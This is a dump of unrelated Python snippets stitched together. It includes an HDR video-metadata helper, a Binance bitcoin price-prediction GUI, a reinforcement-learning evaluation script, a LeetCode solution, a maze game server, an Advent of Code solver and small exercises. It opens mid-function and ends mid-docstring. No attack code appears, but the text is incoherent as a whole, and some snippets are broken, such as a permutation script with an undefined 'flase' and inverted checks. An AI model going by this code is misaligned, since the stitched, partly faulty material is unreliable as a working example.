		raise TypeError('Must supply a container')
	total = sum(numbers)
	result = []
	for value in numbers:
		percent = 100*value/total
		result.append(percent)
	return result

path = 'my_numbers.txt'
visits = [15,34,80]
normalize_defensive(visits)   # no error
visits = ReadVisits(path)
normalize_defensive(visits)    # no error
it = iter(visits)
normalize_defensive(it)


import csv
from collections import defaultdict

word_counts = defaultdict(int)

with open('test.txt', 'r') as in_file:
    for line in in_file:
        words = line.split()
        for word in words:
            word_counts[word] += 1

with open('demo copy.csv', 'w', newline='') as out_file:
    writer = csv.writer(out_file)
    writer.writerow(['Word', 'Count'])
    for word, count in word_counts.items():
        writer.writerow([word, count])
        print(word, count)


from convertisseur_1int_1byte import conversion_1int_1byte

def conversion_string_chr_en_n_hexaDecimal(chaine_chr):
  hexaDecimal=b''
  for bla in range(0,(len(chaine_chr))):
    caractere=chaine_chr[bla]
    caractere=ord(caractere)
    caractere=conversion_1int_1byte(caractere)
    hexaDecimal=hexaDecimal+caractere
  return(hexaDecimal)


class ElementConfig:
    def add(self, name, value):
        setattr(self, name, value)

    def get(self, name):
        if hasattr(self, name):
            return getattr(self, name)
        else:
            return None

    def add_sps(self, cp, tc, mc):
        self.SPS = SPS(cp, tc, mc)

    def add_sei(self, l=None, wp=None, g=None, b=None, r=None, mcll=None, mfll=None):
        if not self.has_sei():
            self.SEI = SEI()

        self.SEI.add(cmcll=mcll, cmfll=mfll, cl=l, cwp=wp, cg=g, cb=b, cr=r)

    def has_hdr(self):
        return (self.has_sei() or self.has_sps())

    def has_sei(self):
        return hasattr(self, 'SEI')

    def has_sps(self):
        return hasattr(self, 'SPS')

    def gen_dict(self):
        result = {}
        for i in vars(self):
            if i not in ['SEI', 'SPS']:
                result[i] = getattr(self, i)

        return result

    def get_hdr(self):
        result = []

        if self.has_sps():
            result.extend(self.SPS.get())

        if self.has_sei():
            result.extend(self.SEI.get())

        return result

class SPS:
    mcl = ['Identity',
           'BT.709',
           'undef',
           'reserved',
           'FCC 73.682',
           'BT.470 System B/G',
           'BT.601',
           'SMPTE 240M',
           'YCgCo',
           'BT.2020 non-constant',
           'BT.2020 constant',
           'Y\'D\'zD\'x',
           'Chromaticity-derived non-constant',
           'Chromaticity-derived constant']

    tcl = ['reserved',
           'BT.709',
           'undef',
           'reserved',
           'BT.470 System M',
           'BT.470 System B/G',
           'BT.601',
           'SMPTE 240M',
           'Linear',
           'Logarithmic (100:1)',
           'Logarithmic (316.22777:1)',
           'xvYCC',
           'BT.1361',
           'sRGB/sYCC',
           'BT.2020 (10-bit)',
           'BT.2020 (12-bit)',
           'PQ',
           'SMPTE 428M',
           'HLG']

    cpl = ['reserved',
           'BT.709',
           'undef',
           'reserved',
           'BT.470 System M',
           'BT.601 PAL',
           'BT.601 NTSC',
           'SMPTE 240M',
           'Generic film',
           'BT.2020',
           'XYZ',
           'DCI P3',
           'Display P3']

    def __init__(self, cp, tc, mc):
        if cp in self.cpl:
            self.colour_primaries = self.cpl.index(cp)

        if tc in self.tcl:
            self.transfer_characteristics = self.tcl.index(tc)

        if mc in self.mcl:
            self.matrix_coeffs = self.mcl.index(mc)

    def get(self):
        result = []
        if hasattr(self, 'colour_primaries'):
            result.extend(['--colour-primaries', '0:{}'.format(self.colour_primaries)])
        if hasattr(self, 'transfer_characteristics'):
            result.extend(['--colour-transfer-characteristics', '0:{}'.format(self.transfer_characteristics)])
        if hasattr(self, 'matrix_coeffs'):
            result.extend(['--colour-matrix', '0:{}'.format(self.matrix_coeffs)])
        return result

class SEI:
    def add(self, cmcll=None, cmfll=None, cl=None, cwp=None, cg=None, cb=None, cr=None):
        if cl:
            if len(cl) == 2:
                self.L = (int(cl[1]), float(cl[0]))

        if cwp:
            self.WP = cwp

        if cg and cb and cr:
            self.G = cg
            self.B = cb
            self.R = cr

        if cmcll:
            self.MCLL = int(cmcll[0])

        if cmfll:
            self.MFLL = int(cmfll[0])

    def get(self):
        result = []
        if hasattr(self, 'L'):
            result.extend(['--min-luminance', '0:{0:.4f}'.format(self.L[1])])
            result.extend(['--max-luminance', '0:{}'.format(self.L[0])])

        if hasattr(self, 'WP'):
            result.extend(['--white-colour-coordinates', '0:0.{},0.{}'.format(self.WP[0], self.WP[1])])

        if hasattr(self, 'G') and \
           hasattr(self, 'B') and \
           hasattr(self, 'R'):
            result.extend(['--chromaticity-coordinates',
                           '0:0.{},0.{},0.{},0.{},0.{},0.{}'.format(self.G[0], self.G[1],
                                                                    self.B[0], self.B[1],
                                                                    self.R[0], self.R[1])])

        if hasattr(self, 'MCLL'):
            result.extend(['--max-content-light', '0:{}'.format(self.MCLL)])

        if hasattr(self, 'MFLL'):
            result.extend(['--max-frame-light', '0:{}'.format(self.MFLL)])

        return result


import talib
import numpy as np
import requests
import datetime
import pandas as pd
import numpy as np
import threading
from sklearn.model_selection import train_test_split
from sklearn.metrics import r2_score
from sklearn.linear_model import LinearRegression
from sklearn.ensemble import RandomForestRegressor
from sklearn.neighbors import KNeighborsRegressor
from sklearn.svm import SVR
from sklearn.metrics import mean_absolute_error
from tkinter import *
import tkinter.font as tkFont
from tkinter import messagebox

def get_binance_datarequest(ticker, interval, limit, start='2022-03-01 00:00:00'):
    columns = ['open_time','open', 'high', 'low', 'close', 'volume','close_time', 'qav','num_trades','taker_base_vol','taker_quote_vol', 'ignore']
    start = int(datetime.datetime.timestamp(pd.to_datetime(start))*1000)
    url = f'https://www.binance.com/api/v3/klines?symbol={ticker}&limit={limit}&interval={interval}&startTime={start}'
    data = pd.DataFrame(requests.get(url).json(), columns=columns, dtype=np.float_)
    data.index = [pd.to_datetime(x, unit='ms').strftime('%Y-%m-%d %H:%M:%S') for x in data.open_time]
    usecols=['open', 'high', 'low', 'close', 'volume', 'qav','num_trades','taker_base_vol','taker_quote_vol']
    data = data[usecols]

    return data

def calculatePricing(data):
    return data['close']

def prepare_data(data, window_size=60):
    price = calculatePricing(data)
    price = price.dropna().values

    previous_close = data['close'].iloc[-1]  # Valor de fechamento do dia atual

    last_60_days = price[-window_size:]  # Últimos 60 dias

    X = []
    y = []

    for i in range(len(price) - window_size):
        window = price[i:i+window_size]
        target = price[i+window_size]

        X.append(window)
        y.append(target)

    return X, y, previous_close, last_60_days

def randomForestRegression(X_train, y_train, X_test, y_test, last_60_days):
    rf_regressor = RandomForestRegressor(n_estimators=200, random_state=0)
    rf_regressor.fit(X_train, y_train)
    y_pred = rf_regressor.predict(X_test)

    predicted_price = rf_regressor.predict(last_60_days.reshape(1,-1))[0]

    r2 = r2_score(y_test, y_pred)
    mae = mean_absolute_error(y_test, y_pred)

    thread = threading.Thread(target=print_results, args=('Random Forest', predicted_price, r2, mae))
    thread.start()

    return y_pred, r2, mae, predicted_price

def linear_regression(X_train, y_train, X_test, y_test, last_60_days):
    regr = LinearRegression()
    regr.fit(X_train, y_train)
    y_pred = regr.predict(X_test)

    predicted_price = regr.predict(last_60_days.reshape(1, -1))[0]

    r2 = r2_score(y_test, y_pred)
    mae = mean_absolute_error(y_test, y_pred)

    thread = threading.Thread(target=print_results, args=('Linear Regression', predicted_price, r2, mae))
    thread.start()

    return y_pred, r2, mae, predicted_price

def knn_regression(X_train, y_train, X_test, y_test, last_60_days, n_neighbors=5):
    knn_regressor = KNeighborsRegressor(n_neighbors=n_neighbors)
    knn_regressor.fit(X_train, y_train)
    y_pred = knn_regressor.predict(X_test)

    predicted_price = knn_regressor.predict(last_60_days.reshape(1, -1))[0]

    r2 = r2_score(y_test, y_pred)
    mae = mean_absolute_error(y_test, y_pred)

    thread = threading.Thread(target=print_results, args=('KNN Regression', predicted_price, r2, mae))
    thread.start()

    return y_pred, r2, mae, predicted_price

def svr_regression(X_train, y_train, X_test, y_test, last_60_days):
    svr_regressor = SVR(kernel='rbf')
    svr_regressor.fit(X_train, y_train)
    y_pred = svr_regressor.predict(X_test)

    predicted_price = svr_regressor.predict(last_60_days.reshape(1, -1))[0]

    r2 = r2_score(y_test, y_pred)
    mae = mean_absolute_error(y_test, y_pred)

    thread = threading.Thread(target=print_results, args=('SVR Regression', predicted_price, r2, mae))
    thread.start()

    return y_pred, r2, mae, predicted_price

def print_results(algorithm_name, predicted_price, r2, mae):
    print(f'{algorithm_name}:')
    print('Preço previsto para o próximo dia:', predicted_price)
    print('R² Score:', r2)
    print('Mean Absolute Error (MAE):', mae)

def exibir_textbox_MAE():
    ado = messagebox.showinfo("MAE", "O MAE mostra o quão perto as previsões do modelo estão dos valores reais, medindo a média dos erros sem considerar se são positivos ou negativos. (em modulo)")

def exibir_textbox_R2():
    ado = messagebox.showinfo("R²", "O R² indica o quanto o modelo explica a variação nos dados. Quanto mais próximo de 1, melhor o modelo se ajusta aos dados; significa que as previsões estão mais próximas dos valores reais.")

def design(predicted_rf, r2_rf, mae_rf, predicted_lr, r2_lr, mae_lr, predicted_knn, r2_knn, mae_knn, predicted_svr, r2_svr, mae_svr, previous_close):
    top = Tk()
    top.title("Bitcoin Watcher")
    top.geometry("700x450")
    top.configure(background='green')
    fontExample = tkFont.Font(family="Arial", size=9, weight="bold", slant="italic")
    algoritmo = Label(top, text="ALGORITMO", font=fontExample, background='green').place(x=30, y=50)
    erro = Label(top, text="MAE", font=fontExample, background='green').place(x=180, y=50)
    botao = Button(top, text="?", background='red', command=exibir_textbox_MAE).place(x=220, y=50)
    valorPrevisto = Label(top, text="R2", font=fontExample, background='green').place(x=310, y=50)
    r2 = Label(top, text="VALOR PREVISTO", font=fontExample, background='green').place(x=420, y=50)
    botao = Button(top, text="?", background='red', command=exibir_textbox_R2).place(x=535, y=50)
    valorAtual = Label(top, text="VALOR ATUAL", font=fontExample, background='green').place(x=580, y=50)
    randomForest = Label(top, text="Random\nForest", background='green').place(x=30, y=120)
    linearRegression = Label(top, text="Linear\nRegression", background='green').place(x=30, y=180)
    knnRegression = Label(top, text="KNN\nRegression", background='green').place(x=30, y=240)
    svrRegression = Label(top, text="SVR\nRegression", background='green').place(x=30, y=300)
    error1 = Label(top, text=str(round(mae_rf, 2)), background='green').place(x=180, y=120)
    error2 = Label(top, text=str(round(mae_lr, 2)), background='green').place(x=180, y=180)
    error3 = Label(top, text=str(round(mae_knn, 2)), background='green').place(x=180, y=240)
    error4 = Label(top, text=str(round(mae_svr, 2)), background='green').place(x=180, y=300)
    r2_Rf = Label(top, text=str(round(r2_rf, 2)), background='green').place(x=310, y=120)
    r2_Lr = Label(top, text=str(round(r2_lr, 2)), background='green').place(x=310, y=180)
    r2_Knn = Label(top, text=str(round(r2_knn, 2)), background='green').place(x=310, y=240)
    r2_Svr = Label(top, text=str(round(r2_svr, 2)), background='green').place(x=310, y=300)
    value_predicted_Rf= Label(top, text=str(round(predicted_rf, 2)), background='green').place(x=450, y=120)
    value_predicted_Lr= Label(top, text=str(round(predicted_lr, 2)), background='green').place(x=450, y=180)
    value_predicted_Knn= Label(top, text=str(round(predicted_knn, 2)), background='green').place(x=450, y=240)
    value_predicted_Svr= Label(top, text=str(round(predicted_svr, 2)), background='green').place(x=450, y=300)
    current_value = Label(top, text=str(round(previous_close, 2)), background='green').place(x=600, y=210)

    top.mainloop()

def run():
    ticker = 'BTCUSDT'
    interval = '1d'
    limit = 1000
    window_size = 60
    data = get_binance_datarequest(ticker, interval, limit)
    X, y, previous_close, last_60_days = prepare_data(data, window_size)

    X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42)

    y_pred_rf, r2_rf, mae_rf, predicted_rf = randomForestRegression(X_train, y_train, X_test, y_test, last_60_days)
    y_pred_lr, r2_lr, mae_lr, predicted_lr = linear_regression(X_train, y_train, X_test, y_test, last_60_days)
    y_pred_knn, r2_knn, mae_knn, predicted_knn = knn_regression(X_train, y_train, X_test, y_test, last_60_days)
    y_pred_svr, r2_svr, mae_svr, predicted_svr = svr_regression(X_train, y_train, X_test, y_test, last_60_days)

    design(predicted_rf, r2_rf, mae_rf, predicted_lr, r2_lr, mae_lr, predicted_knn, r2_knn, mae_knn, predicted_svr, r2_svr, mae_svr, previous_close)
run()


from __future__ import print_function

import argparse
import os
import torch

from model import IntrinsicCuriosityModule2

import pickle as pkl
import numpy as np
import itertools

# Based on
# https://github.com/pytorch/examples/tree/master/mnist_hogwild
# Training settings
# A3C
parser = argparse.ArgumentParser(description='Forward Predictor')
parser.add_argument('--folder', type=str,
                    help="reference curiosity folder (forward model)")
parser.add_argument('--file', type=str,
                    help="reference curiosity model (forward model)")

if __name__ == '__main__':
    # Parse and check args
    args = parser.parse_args()

    args.game = 'picolmaze'
    args.env_name = 'picolmaze'
    args.max_episode_length = 1000
    args.max_episode_length_test = 1000
    args.num_stack = 3

    env = pkl.load(open(os.path.join(args.folder, 'env.pkl'), 'rb'))

    curiosity = IntrinsicCuriosityModule2(args.num_stack, env.action_space)
    curiosity.load_state_dict(torch.load(args.file), strict=False)

    action = torch.tensor(0)

    forw_out_means = []
    forw_out_stds = []
    for room_i, room in enumerate(env.cpics):
        forw_out_means.append([])
        forw_out_stds.append([])

        env.set_room(room_i)
        prev_rooms = []
        for reverse_action in range(1, 5):
            env.step(reverse_action)
            prev_rooms.append(env.room)

        # 'up', 'right', 'down', 'left'
        actions = {1: 3, 2: 4, 3: 1, 4: 2}
        for i in range(1, 5):
            actions[i] = torch.tensor(actions[i])

        for pic in room:
            for proom_i, prev_room in enumerate(prev_rooms):
                for cpic_i in range(len(env.cpics[prev_room])):
                    state_old = torch.from_numpy(env.cpics[prev_room][cpic_i])
                    state = torch.from_numpy(pic)
                    _, _, forw_out_mean, forw_out_std, _, _, _ = \
                        curiosity(state_old.unsqueeze(0), actions[proom_i + 1], state.unsqueeze(0))
                    forw_out_means[room_i].append(forw_out_mean.detach())
                    forw_out_stds[room_i].append(forw_out_std.detach())

    means = []
    stds = []
    for room_mean, room_std in zip(forw_out_means, forw_out_stds):
        room_mean = torch.cat(room_mean, 0)
        room_std = torch.cat(room_std, 0)
        print(room_mean.shape)
        print(torch.mean(room_mean, dim=0).unsqueeze(0).shape)
        means.append(torch.mean(room_mean, dim=0).unsqueeze(0).numpy())
        stds.append(torch.mean(room_std, dim=0).unsqueeze(0).numpy())

    means = np.concatenate(means, 0)
    stds = np.concatenate(stds, 0)

    np.savetxt(os.path.join(args.folder, 'forw_out_means.csv'), means, delimiter=',')
    np.savetxt(os.path.join(args.folder, 'forw_out_stds.csv'), stds, delimiter=',')

    def process(arr):
        for i in range(len(arr)):
            for j in range(len(arr[i])):
                arr[i][j] = np.insert(arr[i][j].numpy(), 0, i)[np.newaxis, :]

        print(arr[0][0].shape)

        arr = list(itertools.chain(*arr))
        print(len(arr), arr[0].shape)
        return np.concatenate(arr, 0)

    forw_out_means = process(forw_out_means)
    forw_out_stds = process(forw_out_stds)

    np.savetxt(os.path.join(args.folder, 'forw_out_means_arr.csv'), forw_out_means, delimiter=',')
    np.savetxt(os.path.join(args.folder, 'forw_out_stds_arr.csv'), forw_out_stds, delimiter=',')


from typing import List

class Solution:
    def closedIsland(self, grid: List[List[int]]) -> int:
        visited = set()
        n_rows, n_cols = len(grid), len(grid[0])
        n_islands = 0

        def is_closed(r, c) -> bool:
            visited.add((r, c))
            result = True
            # check neighbours
            for nr, nc in ((r-1, c), (r+1, c), (r, c-1), (r, c+1)):
                if nr < 0 or nr >= n_rows or nc < 0 or nc >= n_cols:
                    result = False
                    continue
                if (nr, nc) in visited:
                    continue
                if grid[nr][nc] == 1:
                    continue
                if not is_closed(nr, nc):
                    result = False
            return result

        for row in range(n_rows):
            for col in range(n_cols):

                # check if it is something we already visited
                if (row, col) in visited:
                    continue

                # check if it is water
                val = grid[row][col]
                if val == 1:
                    continue

                if is_closed(row, col):
                    n_islands += 1
        return n_islands


from ui_to_py.dialog import *
from PyQt5 import QtCore, QtGui, QtWidgets
import pyperclip
import datetime,time
import random

class PageSetting:

	def get_link(self):
		list_link = list(filter(None,self.textEdit_link.toPlainText().strip().split('\n')))
		return list_link

	def get_reaction(self):
		list_reaction = list()
		if self.checkBox_like.isChecked(): list_reaction.append(1)
		if self.checkBox_love.isChecked(): list_reaction.append(2)
		if self.checkBox_wow.isChecked(): list_reaction.append(4)
		return list_reaction

	def get_num_thread(self):
		num_thread = self.spinBox_threading.value()
		return num_thread

	def enable_hour(self):

		time = datetime.datetime.now()
		h_display = time.strftime("%H")
		m_display = str(int(time.strftime("%M")) +1)

		self.set_start_gio.setText(h_display)
		self.set_start_phut.setText(m_display)

		self.set_start_gio.setEnabled(self.checkBox_timer.isChecked())
		self.set_start_phut.setEnabled(self.checkBox_timer.isChecked())

	def enable_minutes(self):
		m_f = int(self.delay_from.text())
		m_t = int(self.delay_to.text())
		if m_t < m_f:
			msg = Dialog_MessageBox(
			self.styleSheet(),
			icon='warning',
			boldtext='Không hợp lệ',
			text ='Thời gian giãn cách từ nhỏ đến lớn',
			ok =True,
			cancel = False)
			msg.exec_()
			return

		m_r = random.randint(m_f, m_t)

		self.delay_from.setEnabled(self.checkBox_delay.isChecked())
		self.delay_to.setEnabled(self.checkBox_delay.isChecked())
		return m_r

	def condition_time(self):
		hour = int(self.set_start_gio.text())
		minutes = int(self.set_start_phut.text())
		if hour >23:
			hour = 23
			self.set_start_gio.setText(str(hour))
		if minutes>59:
			minutes =59
			self.set_start_phut.setText(str(minutes))

	def count_hour(self):
		time = datetime.datetime.now()
		h_n = int(time.strftime("%H"))
		m_n = int(time.strftime("%M"))
		time_n = h_n*3600 + m_n*60

		h_s = int(self.set_start_gio.text())
		m_s = int(self.set_start_phut.text())
		time_s = h_s*3600 + m_s*60

		time_run = time_s - time_n
		return time_run

	def check_option(self):
		for i in self.list_options:
			if i.isChecked():
				return self.list_options.index(i)

	def settings(self):
		settings_value = {'reaction':self.get_reaction(),
							'list_link':self.get_link(),
							'delay' : self.enable_minutes(),
							'counter_thread' : self.get_num_thread(),
							'timer': self.count_hour() if self.checkBox_timer.isChecked() else False,
							'options':self.check_option()

		}
		return 	settings_value


# -*- coding: utf-8 -*-
"""
Created on Sat Sep 12 00:01:27 2020

@author: 余家瑞
"""
import numpy as np
from joblib import load
import pandas as pd
from sklearn.metrics import roc_curve, auc, accuracy_score
import csv
X_test = pd.read_csv("test_X.csv")
Y_test = pd.read_csv("test_Y.csv")

algo = input('請輸入演算法：')
model = load(f'{algo}_Tri_smote.joblib')
pred = model.predict(X_test)

if algo != 'SVM':
    prob = np.array(model.predict_proba(X_test))
    score = prob[:,1] #probability of class 1
else:
    score = model.decision_function(X_test)

fpr, tpr, _ = roc_curve(Y_test, score)
AUC = auc(fpr, tpr)

print(f"accuracy:{accuracy_score(pred,Y_test)}")
print(f"AUC:{AUC}")

with open(f"{algo}_prob.csv", "a", newline = "", errors = "ignore") as file:
    writer = csv.writer(file)
    writer.writerow(['prob'])
    for num in list(score):
        writer.writerow([num])


import datetime,glob
import os,shutil,sys
conf={'hanshu':['']}
hanshu='''
ads_1111_ec_page_flw_1_minute
ads_1111_ec_page_flw_10_minute
ads_1111_ec_page_flw_30_minute
ads_1111_ec_page_flw_hour
# ads_1111_ec_page_accu_flw_day
ads_1111_ec_page_accu_flw_hour
'''.strip().split('\n')
create_temp='''create '{0}',{{ NAME => 'cf' ,VERSIONS => 1 , COMPRESSION => 'GZ' }},  {{NUMREGIONS => 2, SPLITALGO => 'HexStringSplit'}}
'''
dirs=('hql','create_table','sh')
conf['hanshu']=hanshu

def get_output(fname):
    return sys.stdout
    # return open(fname,'wb')

date= datetime.datetime.now().strftime('%Y%m%d')
user='hanshu'
dirname='_'.join(['dw',date,user])
try:os.mkdir(dirname)
except:pass

for tbname in conf[user]:
    out=get_output(tbname+".hbase.hql")
    # hql=create_temp.format(tbname)
    # out.write('echo "%s"|hbase shell'%hql)
    hql='else if ("{0}".equals(tablename)){{\n}}'.format(tbname)
    out.write('%s'%hql)
    out.write('\n')


import os
path = "F:\my dataset"
'''
walk的逻辑是这样的，该函数会遍历所有的子目录，并以文件夹为单位返回一个tuple。
root表示当前目录，
dirs返回一个list，表示该文件夹下的所有文件夹
files返回一个list，表示该文件夹下的所有非文件夹的文件

因此root+files中的任何一个元素，都组成了当前文件下的一个非文件夹的文件的绝对目录
'''
for root, dirs, files in os.walk(path):
    # print(root)
    # print(dirs)
    # print((files))
    for name in files: # 当前文件夹为files，拿出一个文件为name
        if name.startswith("._"):
            os.remove(os.path.join(root, name)) # 放在一起，就是当前被拿出来的文件的绝对目录

print("finished")


from .Map import Map
from .Robot import Robot
import os
import src.param as param
from threading import Thread, RLock
import time

# -*-coding:Utf-8 -*

def     init_game():
    map = Map()
    print("Quelle carte voulez-vous héberger sur le serveur ?\n")
    map_name = None
    while map_name == None:
        map_name = get_map_choice()
    map.generate_from_file(map_name)
    return (map)

locker = RLock()

def     game_manager(player_list, robot_list, map, server_param):
    winner = None
    while (winner == None and server_param["run"]):
        for player in player_list:
            with locker:
                player.command = None
                player.send_message("\n*** A toi de jouer ! ***\n")
                for player_bis in player_list:
                    player_bis.send_message(map.print(player_bis.id))
            valid_command = False
            while valid_command == False and server_param["run"]:
                command = None
                while (command == None) and server_param["run"]:
                    with locker:
                        command = player.command
                    time.sleep(0.1)
                if not command or command == param.exit_command:
                    return
                valid_command = robot_list[player.id - 1].move(command)
                with locker:
                    if not valid_command:
                        player.send_message(param.str_usage())
                    player.command = None
            with locker:
                player.send_message(map.print(player.id))
            winner = map.victory()
            if winner:
                break
            player.send_message("\n*** C'est au tour des autres joueurs... ***\n")
    for player in player_list:
        with locker:
            if player.id != winner:
                player.send_message("*** Perdu !! Le joueur {} a gagné... *** <----\n".format(winner))
            else:
                player.send_message("----> *** Bravo !! Vous avez gagné ! *** <----\n".format(winner))

def     run_game(player_list, map, server_param):
    robot_list = []
    for player in player_list:
        new_robot = Robot(map, player.id)
        robot_list.append(new_robot)
        player.command = None
    for player in player_list:
        player.send_message(map.print(player.id))
    game_thread = Thread(target=game_manager, args=(player_list, robot_list, map, server_param))
    return game_thread

def     get_map_choice():
    """Ask user to enter the map number.\n\
            Return the map name corresponding to the number entered by the user\n\
            or return None if the number entered is wrong"""

    maps = get_map_list()
    map_number = input("\nEntrez le numéro de labyrinthe pour commencer à jouer : ")
    try:
        map_number = int(map_number)
        assert map_number - 1 < len(maps) and map_number >= 1
        return maps[map_number - 1]
    except (ValueError, AssertionError):
        print("\nMauvaise saisie !\n")
        return None

def     get_map_list():
    """Print the list of available maps in the maps folder\
    (defined in param.py) and return a list with the maps name"""

    maps = os.listdir(param.maps_path)
    print("Labyrinthes existants :")
    for i, map in enumerate(maps):
        if map.find(".txt") != -1:
            map = map.replace(".txt", "")
            print("  {} - {}.".format(i + 1, map))
    return maps


# Jim R
# Open the file romeo.txt and read it line by line.
# For each line, split the line into a list of words
# using the split() method. The program should build a
# list of words. For each word on each line check to
# see if the word is already in the list and if not append
# it to the list. When the program completes, sort and
# print the resulting words in alphabetical order.

# request file from user
fname = input("Enter file name:")
# get handle on file
fh = open(fname)
# create list
lst = list()
finalList = list()
# loop through file by line and split the line into a list
for line in fh:
    line = line.rstrip() # strip trailing \n
    lst = line.split() # split line into list of words
    for ind in lst: # loop through the line (list)
        if ind not in finalList:
            finalList.append(ind) # append words not already in the final list
        else: continue
# sort the final list
finalList.sort()
# print the final sorted list
print(finalList)


# -*- coding: utf-8 -*-

class Cexception(Exception):    # 创建一个新的exception类来抛出自己的异常。
    # 异常应该继承自 Exception 类，包括直接继承，或者间接继承
    def __init__(self, errorinfor):
        self.error = errorinfor

    def __str__(self):
        return self.error

#def score():
 #   grade = int(input('你的成绩是：'))
 #   if grade <= 0 or grade >= 150:
  #      raise Cexception('考试分数只能在0-150')
#try:
 #   score()
#except InputError as e:
 #   print(e)
str1=input()
str2=input()
str11=str1.split()
str22=str2.split()
if len(str11)!=2:
     raise Cexception("没有输入m")
n=str11[0]
m=str11[1]
if n.isalpha()==flase:
    raise Cexception(n+"不是整数")
else:
    if(int(n)<1)|(int(n)>26):
       raise Cexception(n+"小于1或大于26")
if m>n:
    raise Cexception("m大于n")
if len(str22)>n|len(str22)<n:
    raise Cexception("输入的字符个数不是n")

biaoji=""
paixu=[]
zuhe=[]
#计算排列数列
for j in str22:
    biaoji=j
    for k in str22:
        if k!=biaoji:
            paixu.append(biaoji+"  "+k)
#计算组合数列
for jj in range(0,len(str22)):
    biaoji = str22[jj]
    for k in range(jj,len(str22)):
        if str22[k] != biaoji:
            zuhe.append(biaoji + "  " + str22[k])
#输出
print("Permutation:")
for h in paixu:
    print(h)
print("Combination:")
for h in zuhe:
    print(h)


from numpy import loadtxt
from utils.window import Window
from vtkmodules.util.numpy_support import numpy_to_vtk
from vtkmodules.all import (
    vtkUnstructuredGrid, vtkPoints,
    vtkArrowSource, vtkSphereSource,
    vtkGlyph3D, vtkPolyDataMapper,
    vtkActor,
)

def create_raw_data_visualizer(renderer, coordinates_text_file, vectors_text_file):
    """Create Raw data visualizer"""

    # Set unstructured grid
    unstructured_grid = create_unstructured_grid(coordinates_text_file, vectors_text_file)

    # Set sphere actor
    sphere_actor = create_sphere_actor(unstructured_grid)

    # Set arrow actor
    arrow_actor = create_arrow_actor(unstructured_grid)

    # Add actors to the window renderer
    renderer.AddActor(sphere_actor)
    renderer.AddActor(arrow_actor)

def create_unstructured_grid(coordinates_text_file, vectors_text_file) -> vtkUnstructuredGrid:
    """Read out .txt resources with coordinates and vectors and create a vtkUnstructuredGrid object"""

    # Set points as vtkPoints from coordinates numpy array
    points = vtkPoints()
    points.SetData(numpy_to_vtk(loadtxt(fname=coordinates_text_file), deep=True))

    # Set vectors as vtkDoubleArray from vectors numpy array
    vectors = numpy_to_vtk(loadtxt(fname=vectors_text_file), deep=True)

    # Set unstructured grid
    unstructured_grid = vtkUnstructuredGrid()
    unstructured_grid.SetPoints(points)
    unstructured_grid.GetPointData().SetVectors(vectors)

    return unstructured_grid

def create_sphere_actor(unstructured_grid) -> vtkActor:
    """Create a sphere within a vtkActor"""

    # Set sphere
    sphere = vtkSphereSource()
    sphere.SetRadius(0.1)

    # Set sphere glyph 3D
    glyph = create_glyph_3d(unstructured_grid, sphere)

    # Set sphere mapper
    mapper = vtkPolyDataMapper()
    mapper.SetInputConnection(glyph.GetOutputPort())

    # Set sphere actor
    actor = vtkActor()
    actor.SetMapper(mapper)

    return actor

def create_arrow_actor(unstructured_grid) -> vtkActor:
    """Create an arrow within a vtkActor"""

    # Set arrow
    arrow = vtkArrowSource()
    arrow.SetTipLength(0.4)
    arrow.SetTipRadius(0.2)
    arrow.SetTipResolution(50)

    # Set arrow glyph 3D
    glyph = create_glyph_3d(unstructured_grid, arrow)

    # Set arrow mapper
    mapper = vtkPolyDataMapper()
    mapper.SetInputConnection(glyph.GetOutputPort())

    # Set arrow actor
    actor = vtkActor()
    actor.SetMapper(mapper)

    return actor

def create_glyph_3d(input_data, source) -> vtkGlyph3D:
    glyph = vtkGlyph3D()
    glyph.SetInputData(input_data)
    glyph.SetSourceConnection(source.GetOutputPort())
    glyph.SetVectorModeToUseVector()
    glyph.OrientOn()
    glyph.SetScaleFactor(0.2)

    return glyph

# Execute only if run as a script
if __name__ == '__main__':
    window = Window()

    create_raw_data_visualizer(window.renderer, "../resources/txt/coordinates.txt", "resources/txt/vectors.txt")

    window.create((0.0, 0.0, 5.0))


#
# Advent of Code 2017
# Bryan Clair
#
# Day 18
#

# Picking up again some years later, switching to Python3

from argparse import ArgumentParser
def parse_args():
    parser = ArgumentParser()
    parser.add_argument("-v", "--verbose",
                        action = "count",
                        dest = "verbose",
                        default = 1,
                        help = "Set verbosity level (-v, -vv, -vvv,...)")
    parser.add_argument("-q", "--quiet",
                        action = "store_const",
                        const = 0,
                        dest = "verbose",
                        help = "Suppress output.")

    parser.add_argument("-p", "--part",
                        action="store",
                        dest = "part",
                        default = 1,
                        type = int,
                        help = "Which part of the problem to solve (1 or 2)")

    parser.add_argument("file",
                        nargs = "?",
                        default = "input.txt",
                        help = "Problem input file (optional).")
    args = parser.parse_args()
    if args.verbose > 2:
        print(args)

    return args

args = parse_args()

inputlines = [x.strip() for x in open(args.file).readlines()]

class Fault(Exception):
    def __init__(self, msg):
        self.msg = msg

    def __str__(self):
        return self.msg

class Machine:
    def __init__(self,program):
        self.registers = {}
        self.pc = 0
        self.program = program
        self.sound = None

    def val(self,operand):
        if operand.isalpha():
            try:
                return self.registers[operand]
            except KeyError:
                self.registers[operand] = 0
                return 0
        else:
            return int(operand)

    def step(self):
        try:
            line = self.program[self.pc]
            self.pc += 1
        except IndexError:
            raise Fault("Program terminated")

        inst, ops = line.split(maxsplit=1)

        if inst == 'snd':
            self.sound = self.val(ops)
            return

        if inst == 'rcv':
            if self.val(ops):
                raise Fault("Recovered: " + str(self.sound))
            return

        if inst == 'jgz':
            X,Y = [self.val(op) for op in ops.split()]
            if X > 0:
                self.pc = self.pc - 1 + Y
            return

        op1,op2 = ops.split()
        assert(op1.isalpha())
        X = self.val(op1)
        Y = self.val(op2)
        if inst == 'set':
            result = Y
        elif inst == 'add':
            result = X + Y
        elif inst == 'mul':
            result = X * Y
        elif inst == 'mod':
            result = X % Y
        else:
            raise Fault("Bad operation: " + op1)

        self.registers[op1] = result

    def __str__(self):
        out = '-----\n'
        out += 'pc: ' + str(self.pc) + '\n'
        for reg in self.registers:
            out += reg + ': ' + str(self.registers[reg]) + '\n'
        return out

m = Machine(inputlines)

try:
    while True:
        m.step()

except Fault as e:
    print(e.msg)

print(m)


import os
import sys
from sqlalchemy import Column, ForeignKey, Integer, String, Table
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy.orm import relationship
from sqlalchemy import create_engine
from eralchemy2 import render_er

Base = declarative_base()

""" class Person(Base):
    __tablename__ = 'person'
    # Here we define columns for the table person
    # Notice that each column is also a normal Python instance attribute.
    id = Column(Integer, primary_key=True)
